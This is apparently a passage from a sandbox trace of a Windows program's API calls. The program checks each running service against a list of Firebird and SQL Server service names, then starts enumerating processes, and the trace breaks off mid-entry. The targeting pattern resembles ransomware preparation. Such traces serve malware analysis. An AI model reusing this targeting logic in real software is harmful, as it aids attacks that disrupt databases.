lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0058.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0058.646] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0058.646] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0058.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0058.646] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0058.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0058.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0058.647] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0058.647] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0058.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0058.647] lstrlenW (lpString="CDPSvc") returned 6 [0058.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0058.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0058.647] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0058.647] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0058.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0058.647] lstrlenW (lpString="ClickToRunSvc") returned 13 [0058.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0058.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0058.647] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0058.647] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0058.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0058.647] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0058.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0058.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0058.647] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0058.647] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0058.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0058.647] lstrlenW (lpString="CryptSvc") returned 8 [0058.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.647] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.647] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.648] lstrlenW (lpString="DcomLaunch") returned 10 [0058.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.648] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.648] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.648] lstrlenW (lpString="DeviceAssociationService") returned 24 [0058.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0058.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0058.648] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0058.648] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0058.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0058.648] lstrlenW (lpString="Dhcp") returned 4 [0058.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.648] lstrlenW (lpString="Dnscache") returned 8 [0058.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.649] lstrlenW (lpString="DoSvc") returned 5 [0058.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0058.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0058.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0058.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0058.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0058.649] lstrlenW (lpString="DPS") returned 3 [0058.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.649] lstrlenW (lpString="DusmSvc") returned 7 [0058.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0058.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0058.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0058.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0058.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0058.649] lstrlenW (lpString="EventLog") returned 8 [0058.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0058.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0058.649] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0058.649] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0058.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0058.649] lstrlenW (lpString="EventSystem") returned 11 [0058.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.649] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.649] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.650] lstrlenW (lpString="FontCache") returned 9 [0058.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0058.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0058.650] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0058.650] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0058.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0058.650] lstrlenW (lpString="gpsvc") returned 5 [0058.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.650] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.650] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.650] lstrlenW (lpString="iphlpsvc") returned 8 [0058.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.650] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.650] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.650] lstrlenW (lpString="KeyIso") returned 6 [0058.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0058.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0058.651] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0058.651] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0058.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0058.651] lstrlenW (lpString="LanmanServer") returned 12 [0058.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.651] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.651] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.651] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.651] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.651] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.651] lstrlenW (lpString="lfsvc") returned 5 [0058.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0058.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0058.651] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0058.651] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0058.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0058.651] lstrlenW (lpString="lmhosts") returned 7 [0058.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.651] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.651] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.651] lstrlenW (lpString="LSM") returned 3 [0058.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0058.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0058.652] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0058.652] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0058.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0058.652] lstrlenW (lpString="MapsBroker") returned 10 [0058.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0058.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0058.652] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0058.652] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0058.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0058.652] lstrlenW (lpString="MpsSvc") returned 6 [0058.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.652] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.652] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.652] lstrlenW (lpString="NcbService") returned 10 [0058.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0058.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0058.652] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0058.652] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0058.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0058.652] lstrlenW (lpString="netprofm") returned 8 [0058.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.652] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.652] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.653] lstrlenW (lpString="NlaSvc") returned 6 [0058.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.653] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.653] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.653] lstrlenW (lpString="nsi") returned 3 [0058.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.653] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.653] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.653] lstrlenW (lpString="PcaSvc") returned 6 [0058.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.653] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.653] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.653] lstrlenW (lpString="PlugPlay") returned 8 [0058.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.654] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.654] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.654] lstrlenW (lpString="Power") returned 5 [0058.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.654] lstrlenW (lpString="ProfSvc") returned 7 [0058.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.654] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.654] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.654] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.654] lstrlenW (lpString="RpcSs") returned 5 [0058.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.654] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.654] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.654] lstrlenW (lpString="SamSs") returned 5 [0058.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.655] lstrlenW (lpString="Schedule") returned 8 [0058.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.655] lstrlenW (lpString="SecurityHealthService") returned 21 [0058.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0058.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0058.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0058.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0058.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0058.655] lstrlenW (lpString="SENS") returned 4 [0058.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.655] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.656] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.656] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.656] lstrlenW (lpString="Spooler") returned 7 [0058.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.656] lstrlenW (lpString="SSDPSRV") returned 7 [0058.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0058.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0058.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0058.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0058.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0058.656] lstrlenW (lpString="StateRepository") returned 15 [0058.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0058.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0058.656] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0058.656] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0058.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0058.656] lstrlenW (lpString="SysMain") returned 7 [0058.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.657] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d6758 | out: hHeap=0x490000) returned 1 [0058.657] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0058.681] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.780] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.780] lstrlenW (lpString="System") returned 6 [0058.780] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.781] lstrlenW (lpString="smss.exe") returned 8 [0058.781] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.781] lstrlenW (lpString="csrss.exe") returned 9 [0058.782] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.782] lstrlenW (lpString="wininit.exe") returned 11 [0058.782] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.783] lstrlenW (lpString="csrss.exe") returned 9 [0058.783] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.783] lstrlenW (lpString="winlogon.exe") returned 12 [0058.783] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.784] lstrlenW (lpString="services.exe") returned 12 [0058.784] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.784] lstrlenW (lpString="lsass.exe") returned 9 [0058.784] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.785] lstrlenW (lpString="svchost.exe") returned 11 [0058.785] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0058.785] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0058.785] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0058.786] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0058.786] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.786] lstrlenW (lpString="svchost.exe") returned 11 [0058.786] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.787] lstrlenW (lpString="dwm.exe") returned 7 [0058.787] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: 